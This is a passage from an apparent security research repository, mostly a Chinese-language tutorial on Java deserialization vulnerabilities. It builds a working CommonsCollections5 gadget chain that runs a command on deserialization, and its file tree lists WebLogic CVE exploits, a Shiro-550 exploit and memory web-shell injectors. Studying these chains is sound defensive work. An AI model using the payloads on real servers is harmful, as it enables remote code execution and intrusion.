├── .gitignore ├── .idea ├── .gitignore ├── compiler.xml ├── jarRepositories.xml ├── libraries │ └── lib.xml ├── misc.xml ├── uiDesigner.xml └── vcs.xml ├── JavaSerialize.iml ├── Java反序列化.assets ├── antshell.gif ├── image-20200822105256120.png ├── image-20200822135700699.png ├── image-20200822140627663.png ├── image-20200822144101188.png ├── image-20200822152423212.png ├── image-20200822155342130.png ├── image-20200822163304144.png ├── image-20200822163450161.png ├── image-20200822172647180.png ├── image-20200822173106095.png ├── image-20200824101352678.png ├── image-20200824110636439.png ├── image-20200824110840912.png ├── image-20200824111728416.png ├── image-20200824113600901.png ├── image-20200824113637777.png └── image-20200825105630712.png ├── README.md ├── calc.jar ├── pom.xml └── src └── main ├── java └── org │ └── chabug │ ├── cve │ ├── CVE_2020_2555.java │ └── CVE_2020_2883.java │ ├── demo │ ├── CC2.java │ ├── CC5.java │ ├── Calc.java │ ├── EvilSerialize.java │ ├── MyCC.java │ ├── ReflectionDemo.java │ └── SerializeAndDeserialize.java │ ├── entity │ ├── Dog.java │ ├── EvilClass.java │ ├── Person.java │ └── ReflectionClass.java │ ├── loader │ ├── BytecodeLoaderLoader.java │ ├── MyLoader.java │ └── URLClassLoaderDemo.java │ ├── memshell │ ├── AntSwordFilterShell.java │ ├── CVE_2020_2883_URLClassLoader.java │ └── InjectFilterShell.java │ ├── ser │ ├── cc2.ser │ └── cc5.ser │ ├── shiro │ └── Shiro550.java │ └── util │ ├── EncryptUtil.java │ └── Serializables.java └── resources └── lib ├── coherence.jar └── ysoserial-0.0.6-SNAPSHOT-all.jar /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by .ignore support plugin (hsz.mobi) 2 | ### Maven template 3 | target/ 4 | pom.xml.tag 5 | pom.xml.releaseBackup 6 | pom.xml.versionsBackup 7 | pom.xml.next 8 | release.properties 9 | dependency-reduced-pom.xml 10 | buildNumber.properties 11 | .mvn/timing.properties 12 | # https://github.com/takari/maven-wrapper#usage-without-binary-jar 13 | .mvn/wrapper/maven-wrapper.jar 14 | 15 | ### Java template 16 | # Compiled class file 17 | *.class 18 | 19 | # Log file 20 | *.log 21 | 22 | # BlueJ files 23 | *.ctxt 24 | 25 | # Mobile Tools for Java (J2ME) 26 | .mtj.tmp/ 27 | 28 | # Package Files # 29 | *.war 30 | *.nar 31 | *.ear 32 | *.zip 33 | *.tar.gz 34 | *.rar 35 | 36 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 37 | hs_err_pid* 38 | 39 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/libraries/lib.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /JavaSerialize.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Java反序列化.assets/antshell.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/antshell.gif -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822105256120.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822105256120.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822135700699.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822135700699.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822140627663.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822140627663.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822144101188.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822144101188.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822152423212.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822152423212.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822155342130.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822155342130.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822163304144.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822163304144.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822163450161.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822163450161.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822172647180.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822172647180.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200822173106095.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200822173106095.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200824101352678.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824101352678.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200824110636439.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824110636439.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200824110840912.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824110840912.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200824111728416.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824111728416.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200824113600901.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824113600901.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200824113637777.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200824113637777.png -------------------------------------------------------------------------------- /Java反序列化.assets/image-20200825105630712.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/WebLogic-Shiro-shell/56d37c0741c618f5e1cff998fa4f78257c296b5d/Java反序列化.assets/image-20200825105630712.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Java反序列化技术分享 2 | 3 | 本次分享涉及的东西有以下几点: 4 | 5 | 1. Java序列化和反序列化基础 6 | 2. 为什么在反序列化的时候会产生漏洞? 7 | 3. Java反射 8 | 4. ysoserial CommonsCollections2、CommonsCollections5 9 | 5. Java ClassLoader 加载类的几种方法 10 | 6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE 11 | 7. Shiro-550 rememberMe 硬编码导致的反序列化RCE 12 | 8. WebLogic + Shiro 反序列化一键注册filter内存shell 13 | 14 | ## Java序列化和反序列化基础 15 | 16 | > Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化,将Java对象转为字节序列。 17 | > 18 | > Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。 19 | 20 | 举一个简单的例子,见代码`SerializeAndDeserialize` **ps:这里重点关注下在代码中的强制转换类型** 21 | 22 | ```java 23 | package org.chabug.demo; 24 | 25 | import org.chabug.entity.Dog; 26 | import org.chabug.entity.Person; 27 | import org.chabug.util.Serializables; 28 | 29 | /* 30 | 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化 31 | 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类 32 | */ 33 | 34 | public class SerializeAndDeserialize { 35 | 36 | public static void main(String[] args) throws Exception { 37 | byte[] bytes; 38 | String s1 = "I'm a String Object...."; 39 | bytes = Serializables.serializeToBytes(s1); 40 | Object o1 = Serializables.deserializeFromBytes(bytes); 41 | System.out.println(o1); 42 | 43 | String[] s2 = new String[]{"tom", "bob", "jack"}; 44 | bytes = Serializables.serializeToBytes(s2); 45 | String[] o2 = (String[])Serializables.deserializeFromBytes(bytes); 46 | System.out.println(o2); 47 | 48 | int i = 123; 49 | bytes = Serializables.serializeToBytes(i); 50 | int o3 = (Integer) Serializables.deserializeFromBytes(bytes); 51 | System.out.println(o3); 52 | 53 | // 一只名叫woody的狗 54 | Dog dog = new Dog(); 55 | dog.setName("woody"); 56 | 57 | // tom 58 | Person tom = new Person(); 59 | tom.setAge(14); 60 | tom.setName("tom"); 61 | tom.setSex("男"); 62 | tom.setDog(dog); 63 | 64 | bytes = Serializables.serializeToBytes(tom); 65 | Person o = (Person) Serializables.deserializeFromBytes(bytes); 66 | System.out.println(o); 67 | 68 | } 69 | } 70 | ``` 71 | 72 | String、Integer、数组、Object对象等Java内置的数据类型均可实现序列化,我们自己写的Person、Dog类只要实现了Serializable接口即可实现序列化和反序列化。 73 | 74 | 75 | 76 | ## 为什么在反序列化的时候会产生漏洞? 77 | 78 | 来看一段代码,现在有一个恶意的实体类EvilClass 79 | 80 | ```java 81 | package org.chabug.entity; 82 | 83 | import java.io.ObjectInputStream; 84 | import java.io.Serializable; 85 | 86 | public class EvilClass implements Serializable { 87 | String name; 88 | 89 | public EvilClass() { 90 | System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!"); 91 | } 92 | 93 | public EvilClass(String name) { 94 | System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!"); 95 | this.name = name; 96 | } 97 | 98 | public String getName() { 99 | System.out.println(this.getClass() + "的getName被调用!!!!!!"); 100 | return name; 101 | } 102 | 103 | public void setName(String name) { 104 | System.out.println(this.getClass() + "的setName被调用!!!!!!"); 105 | this.name = name; 106 | } 107 | 108 | @Override 109 | public String toString() { 110 | System.out.println(this.getClass() + "的toString()被调用!!!!!!"); 111 | return "EvilClass{" + 112 | "name='" + getName() + '\'' + 113 | '}'; 114 | } 115 | 116 | private void readObject(ObjectInputStream in) throws Exception { 117 | //执行默认的readObject()方法 118 | in.defaultReadObject(); 119 | System.out.println(this.getClass() + "readObject()被调用!!!!!!"); 120 | Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}); 121 | } 122 | } 123 | ``` 124 | 125 | 其readObject中存在执行命令的代码`Runtime.getRuntime().exec(new String[]{"cmd", "/c", name})`,name参数是要执行的命令。那么我们可以构造一个恶意的对象,将其name属性赋值为要执行的命令,当反序列化触发readObject时就会RCE。如下 126 | 127 | ```java 128 | package org.chabug.demo; 129 | 130 | import org.chabug.entity.EvilClass; 131 | import org.chabug.util.Serializables; 132 | 133 | public class EvilSerialize { 134 | public static void main(String[] args) throws Exception { 135 | EvilClass evilObj = new EvilClass(); 136 | evilObj.setName("calc"); 137 | byte[] bytes = Serializables.serializeToBytes(evilObj); 138 | EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); 139 | System.out.println(o); 140 | } 141 | } 142 | ``` 143 | 144 | ![image-20200822105256120](Java反序列化.assets/image-20200822105256120.png) 145 | 146 | 那么现在我们知道了反序列化是如何被RCE的,但是开发中也不可能直接这么写,所以这就涉及到了利用链的寻找。反序列化漏洞需要三个东西 147 | 148 | 1. 反序列化入口(source) 149 | 2. 目标方法(sink) 150 | 3. 利用链(gadget chain) 151 | 152 | 细心再看上图中的输出结果,不仅仅触发了readObject方法,还触发了toString()、无参构造、set、get方法,那么在实际寻找利用链的过程中就不仅仅需要关注readObject()的方法了。 153 | 154 | 155 | 156 | 然后到现在我们就需要了解**反射**这个东西了,上文中我们提到了**强制类型转换**的问题,在实际开发中,在readObject中会进行逻辑处理,当不知道传入对象的具体数据类型时会通过反射来判断调用,而反射就是我们通向RCE的重要手段。 157 | 158 | ## Java反射 159 | 160 | 什么是反射?"反射"中有一个"反"字,那么解释反射就得从"正射"开始,看代码。这是我的实体类 161 | 162 | ```java 163 | package org.chabug.entity; 164 | 165 | import java.io.IOException; 166 | 167 | public class ReflectionClass { 168 | String name; 169 | 170 | public ReflectionClass(String name) { 171 | this.name = name; 172 | } 173 | 174 | public ReflectionClass() { 175 | } 176 | 177 | public String say() { 178 | return this.name; 179 | } 180 | 181 | private void evil(String cmd) { 182 | try { 183 | Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}); 184 | } catch (IOException e) { 185 | e.printStackTrace(); 186 | } 187 | } 188 | 189 | @Override 190 | public String toString() { 191 | return "ReflectionClass{" + 192 | "name='" + name + '\'' + 193 | '}'; 194 | } 195 | 196 | public String getName() { 197 | return name; 198 | } 199 | 200 | public void setName(String name) { 201 | this.name = name; 202 | } 203 | } 204 | ``` 205 | 206 | 正常写法 207 | 208 | ```java 209 | package org.chabug.demo; 210 | 211 | import org.chabug.entity.ReflectionClass; 212 | 213 | public class ReflectionDemo { 214 | public static void main(String[] args) { 215 | ReflectionClass demo = new ReflectionClass(); 216 | demo.setName("hello"); 217 | System.out.println(demo.say()); 218 | // demo.evil("calc"); // 不能够调用private方法 219 | } 220 | } 221 | ``` 222 | 223 | 很简单就是通过new创建了一个ReflectionClass实例,然后通过实例去调用其所属方法,这就是"正射"。但是当你new的时候不知道类名怎么办?受private保护的方法怎么调用?反射的作用就体现出来了。看下面这一段代码 224 | 225 | ```java 226 | package org.chabug.demo; 227 | 228 | import org.chabug.entity.ReflectionClass; 229 | 230 | import java.lang.reflect.Method; 231 | 232 | public class ReflectionDemo { 233 | public static void main(String[] args) throws Exception { 234 | // new 235 | Class aClass = Class.forName("org.chabug.entity.ReflectionClass"); 236 | Object o = aClass.newInstance(); 237 | 238 | // setName("jack") 239 | Method setName = aClass.getDeclaredMethod("setName",String.class); 240 | setName.invoke(o, "jack"); 241 | 242 | // say() 243 | Method say = aClass.getDeclaredMethod("say",null); 244 | Object o1 = say.invoke(o, null); 245 | System.out.println(o1); 246 | 247 | // evil("calc") 248 | // 反射可以修改方法的修饰符来调用private方法 249 | Method evil = aClass.getDeclaredMethod("evil", String.class); 250 | evil.setAccessible(true); 251 | evil.invoke(o,"calc"); 252 | } 253 | } 254 | ``` 255 | 256 | 不需要提前知道类名,用到`org.chabug.entity.ReflectionClass`类改一改通过参数传进来就行了,并且可以通过setAccessible来获取private保护的方法或字段。 257 | 258 | 接下来我们从漏洞入手,深入了解反射在反序列化中的作用,以及反序列化调用链的挖掘。 259 | 260 | ## ysoserial CommonsCollections2、CommonsCollections5 261 | 262 | ysoserial 是一个生成Java反序列化exp的工具,其中继承了一些一直的exp,比如的CommonsCollections几条利用链。这次要分析的是CC2、CC5这两条链,之所以分析这两条,是为了在CC2中使用了定义字节码的操作,CC5中是为了对反射和链式调用加深理解。 263 | 264 | 265 | 266 | 先来看更方便理解的CC5链条。 267 | 268 | ### CommonsCollections5 269 | 270 | 漏洞出现在`org.apache.commons.collections.functors.InvokerTransformer#transform` 271 | 272 | ```java 273 | public Object transform(Object input) { 274 | if (input == null) { 275 | return null; 276 | } else { 277 | try { 278 | Class cls = input.getClass(); 279 | Method method = cls.getMethod(this.iMethodName, this.iParamTypes); 280 | return method.invoke(input, this.iArgs); 281 | } catch (NoSuchMethodException var5) { 282 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); 283 | } catch (IllegalAccessException var6) { 284 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 285 | } catch (InvocationTargetException var7) { 286 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); 287 | } 288 | } 289 | } 290 | ``` 291 | 292 | 对比反射章节的代码可知这是很明显的反射用法,用正射的代码来解释的话就是 293 | 294 | ```java 295 | input.iMethodName(iArgs); 296 | ``` 297 | 298 | this.iMethodName、this.iParamTypes、this.iArgs均在构造方法中可控。由此可以调用input对象的任意方法,传递任意参数。 299 | 300 | ```java 301 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 302 | this.iMethodName = methodName; 303 | this.iParamTypes = paramTypes; 304 | this.iArgs = args; 305 | } 306 | ``` 307 | 308 | 由此先来一个执行命令的代码 309 | 310 | ```java 311 | package org.chabug.demo; 312 | 313 | import org.apache.commons.collections.functors.InvokerTransformer; 314 | 315 | public class CC5 { 316 | public static void main(String[] args) throws Exception { 317 | InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); 318 | invokerTransformer.transform(Runtime.getRuntime()); 319 | } 320 | } 321 | ``` 322 | 323 | 因为Runtime类是单例模式的原因,需要通过getRuntime()获取到Runtime运行时对象,传入transform()之后弹出计算器。 324 | 325 | ![image-20200822135700699](Java反序列化.assets/image-20200822135700699.png) 326 | 327 | 但是我们知道,在反序列化时只会自动执行readObject(),如果此时直接构造InvokerTransformer对象,仍需解决两个问题 328 | 329 | 1. 自动执行Runtime.getRuntime() 330 | 2. 自动执行invokerTransformer.transform() 331 | 332 | 先来解决第一个问题,在org.apache.commons.collections.functors.ChainedTransformer#transform中可以实现链式调用 333 | 334 | ```java 335 | public Object transform(Object object) { 336 | for(int i = 0; i < this.iTransformers.length; ++i) { 337 | object = this.iTransformers[i].transform(object); 338 | } 339 | return object; 340 | } 341 | ``` 342 | 343 | this.iTransformers的定义是Transformer数组 344 | 345 | ```java 346 | private final Transformer[] iTransformers; 347 | ``` 348 | 349 | Transformer是一个接口,InvokerTransformer也实现了这个接口。 350 | 351 | ![image-20200822140627663](Java反序列化.assets/image-20200822140627663.png) 352 | 353 | 根据Java隐式类型转换的原则,我们可以定义一个Transformer数组,里面放入多个InvokerTransformer来实现多次反射调用,拿到Runtime.getRuntime().exec() 354 | 355 | ```java 356 | package org.chabug.demo; 357 | 358 | import org.apache.commons.collections.Transformer; 359 | import org.apache.commons.collections.functors.ChainedTransformer; 360 | import org.apache.commons.collections.functors.ConstantTransformer; 361 | import org.apache.commons.collections.functors.InvokerTransformer; 362 | 363 | public class CC5 { 364 | public static void main(String[] args) throws Exception { 365 | // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); 366 | Transformer[] transformers = new Transformer[]{ 367 | // 传入Runtime类 368 | new ConstantTransformer(Runtime.class), 369 | // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() 370 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 371 | // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) 372 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 373 | // 调用exec("calc") 374 | new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) 375 | }; 376 | Transformer chain = new ChainedTransformer(transformers); 377 | chain.transform(null); 378 | } 379 | } 380 | ``` 381 | 382 | 其中很巧妙的是通过ConstantTransformer类的构造方法传入了Runtime.class,这样就不需要我们自己传入Runtime了。 383 | 384 | 385 | 386 | 现在就需要解决第二个问题,如何自动触发transform()。都知道readObject()在反序列化时会执行,那么在那个类的readObject()直接或者间接地调用了transform()呢? 387 | 388 | 389 | 390 | 在org.apache.commons.collections.map.LazyMap#get中调用了transform() 391 | 392 | ```java 393 | public Object get(Object key) { 394 | if (!super.map.containsKey(key)) { 395 | Object value = this.factory.transform(key); 396 | super.map.put(key, value); 397 | return value; 398 | } else { 399 | return super.map.get(key); 400 | } 401 | } 402 | ``` 403 | 404 | 看这个类的构造方法和factory字段 405 | 406 | ```java 407 | protected final Transformer factory; 408 | 409 | public static Map decorate(Map map, Transformer factory) { 410 | return new LazyMap(map, factory); 411 | } 412 | ``` 413 | 414 | factory字段是final、protected修饰,但是他有一个public的方法decorate()来生成该类对象,那么就可以构造出如下 415 | 416 | ```java 417 | HashMap hashMap = new HashMap(); 418 | Map map = LazyMap.decorate(hashMap, chain); 419 | map.get("test"); //执行这个就会弹出计算器 map.get() > transform() 420 | ``` 421 | 422 | 此时在寻找哪里调用了map的get()方法 org.apache.commons.collections.keyvalue.TiedMapEntry#getValue 423 | 424 | ```java 425 | private final Map map; 426 | private final Object key; 427 | 428 | public TiedMapEntry(Map map, Object key) { 429 | this.map = map; 430 | this.key = key; 431 | } 432 | public Object getKey() { 433 | return this.key; 434 | } 435 | public Object getValue() { 436 | return this.map.get(this.key); 437 | } 438 | public String toString() { 439 | return this.getKey() + "=" + this.getValue(); 440 | } 441 | ``` 442 | 443 | getValue()刚好调用map.get(),this.key我们也可控。而toString()调用了this.getValue()。现在继续构造 444 | 445 | ```java 446 | HashMap hashMap = new HashMap(); 447 | Map map = LazyMap.decorate(hashMap, chain); 448 | // map.get("test"); 449 | TiedMapEntry key = new TiedMapEntry(map, "key"); 450 | key.toString(); // toString > getValue() > map.get() 451 | ``` 452 | 453 | 那么现在的问题就是如何readObject自动触发toString(),这就简单了,在jdk内置类中有一个BadAttributeValueExpException异常类,其readObject()会执行toString() 454 | 455 | ```java 456 | public BadAttributeValueExpException (Object val) { 457 | this.val = val == null ? null : val.toString(); 458 | } 459 | public String toString() { 460 | return "BadAttributeValueException: " + val; 461 | } 462 | 463 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { 464 | ObjectInputStream.GetField gf = ois.readFields(); 465 | Object valObj = gf.get("val", null); 466 | 467 | if (valObj == null) { 468 | val = null; 469 | } else if (valObj instanceof String) { 470 | val= valObj; 471 | } else if (System.getSecurityManager() == null 472 | || valObj instanceof Long 473 | || valObj instanceof Integer 474 | || valObj instanceof Float 475 | || valObj instanceof Double 476 | || valObj instanceof Byte 477 | || valObj instanceof Short 478 | || valObj instanceof Boolean) { 479 | val = valObj.toString(); 480 | } else { // the serialized object is from a version without JDK-8019292 fix 481 | val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); 482 | } 483 | } 484 | ``` 485 | 486 | 因为System.getSecurityManager()默认为null,所以触发val = valObj.toString(),进入到TiedMapEntry.toString(),最终的payload 487 | 488 | ```java 489 | package org.chabug.demo; 490 | 491 | import org.apache.commons.collections.Transformer; 492 | import org.apache.commons.collections.functors.ChainedTransformer; 493 | import org.apache.commons.collections.functors.ConstantTransformer; 494 | import org.apache.commons.collections.functors.InvokerTransformer; 495 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 496 | import org.apache.commons.collections.map.LazyMap; 497 | import org.chabug.util.Serializables; 498 | 499 | import javax.management.BadAttributeValueExpException; 500 | import java.lang.reflect.Field; 501 | import java.util.HashMap; 502 | import java.util.Map; 503 | 504 | public class CC5 { 505 | public static void main(String[] args) throws Exception { 506 | // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); 507 | Transformer[] transformers = new Transformer[]{ 508 | // 传入Runtime类 509 | new ConstantTransformer(Runtime.class), 510 | // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() 511 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 512 | // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) 513 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 514 | // 调用exec("calc") 515 | new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) 516 | }; 517 | Transformer chain = new ChainedTransformer(transformers); 518 | // chain.transform(null); 519 | HashMap hashMap = new HashMap(); 520 | Map map = LazyMap.decorate(hashMap, chain); 521 | // map.get("asd"); 522 | TiedMapEntry key = new TiedMapEntry(map, "key"); 523 | // key.toString(); 524 | 525 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 526 | Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); 527 | field.setAccessible(true); 528 | field.set(badAttributeValueExpException, key); 529 | 530 | 531 | byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException); 532 | Serializables.deserializeFromBytes(bytes); 533 | } 534 | } 535 | ``` 536 | 537 | ![image-20200822144101188](Java反序列化.assets/image-20200822144101188.png) 538 | 539 | 需要注意的是,在声明BadAttributeValueExpException对象时,并没有直接传入entry参数,而是用反射赋值。因为BadAttributeValueExpException的构造函数就会判断是否为空,如果不为空在序列化时就会执行toString(),那么反序列化时,因为传入的entry已经是字符串,所以就不会触发toString方法了。 540 | 541 | 542 | 543 | 小结:灵活运用反射加上链式调用,然后寻找gadget成功RCE。 544 | 545 | ```java 546 | /* 547 | Gadget chain: 548 | ObjectInputStream.readObject() 549 | BadAttributeValueExpException.readObject() 550 | TiedMapEntry.toString() 551 | LazyMap.get() 552 | ChainedTransformer.transform() 553 | ConstantTransformer.transform() 554 | InvokerTransformer.transform() 555 | Method.invoke() 556 | Class.getMethod() 557 | InvokerTransformer.transform() 558 | Method.invoke() 559 | Runtime.getRuntime() 560 | InvokerTransformer.transform() 561 | Method.invoke() 562 | Runtime.exec() 563 | Requires: 564 | commons-collections 565 | */ 566 | ``` 567 | 568 | ### CommonsCollections2 569 | 570 | 在介绍CC2之前,首先需要了解下Java字节码。在Java中所有的Java代码都需要编译成class字节码文件来交给jvm去执行,字节码更像是一种汇编语言,可读性很差,但是仍然有很多优秀的库来操作、修改、编辑字节码来实现编程,比如asm、cglib和javassist。在ysoserial工具中用到的就是javassist库。先来看下ysoserial中cc2的payload是怎么写的。 571 | 572 | ```java 573 | public Queue getObject(final String command) throws Exception { 574 | final Object templates = Gadgets.createTemplatesImpl(command); 575 | // mock method name until armed 576 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 577 | 578 | // create queue with numbers and basic comparator 579 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 580 | // stub data for replacement later 581 | queue.add(1); 582 | queue.add(1); 583 | 584 | // switch method called by comparator 585 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 586 | 587 | // switch contents of queue 588 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 589 | queueArray[0] = templates; 590 | queueArray[1] = 1; 591 | 592 | return queue; 593 | } 594 | ``` 595 | 596 | 先看第一行中Gadgets.createTemplatesImpl(command) 597 | 598 | ```java 599 | public static Object createTemplatesImpl ( final String command ) throws Exception { 600 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { 601 | return createTemplatesImpl( 602 | command, 603 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 604 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 605 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); 606 | } 607 | 608 | return createTemplatesImpl(command, 